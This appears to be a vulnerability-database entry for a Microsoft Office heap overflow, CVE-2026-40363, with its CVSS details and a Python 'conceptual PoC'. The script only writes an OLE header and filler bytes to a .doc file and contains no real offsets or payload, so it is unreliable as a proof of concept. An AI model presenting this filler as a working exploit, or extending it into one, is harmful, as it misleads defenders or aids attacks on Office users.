Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.
CVSS Details
CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Office (具体受影响版本未披露)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct
# Conceptual PoC for CVE-2026-40363
# This script generates a malformed file intended to trigger the heap overflow.
# Note: Actual exploitation requires precise offset calculation and payload alignment.
def generate_malicious_file(filename):
# File header placeholder (e.g., for a generic Office format)
header = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1"
# Padding to reach the vulnerable structure
padding = b"A" * 0x100
# Overflow payload
# In a real scenario, this would contain ROP chains and shellcode
overflow_payload = b"B" * 0x200
data = header + padding + overflow_payload
with open(filename, "wb") as f:
f.write(data)
print(f"[+] Malicious file generated: {filename}")
if __name__ == "__main__":
generate_malicious_file("cve_2026_40363_poc.doc")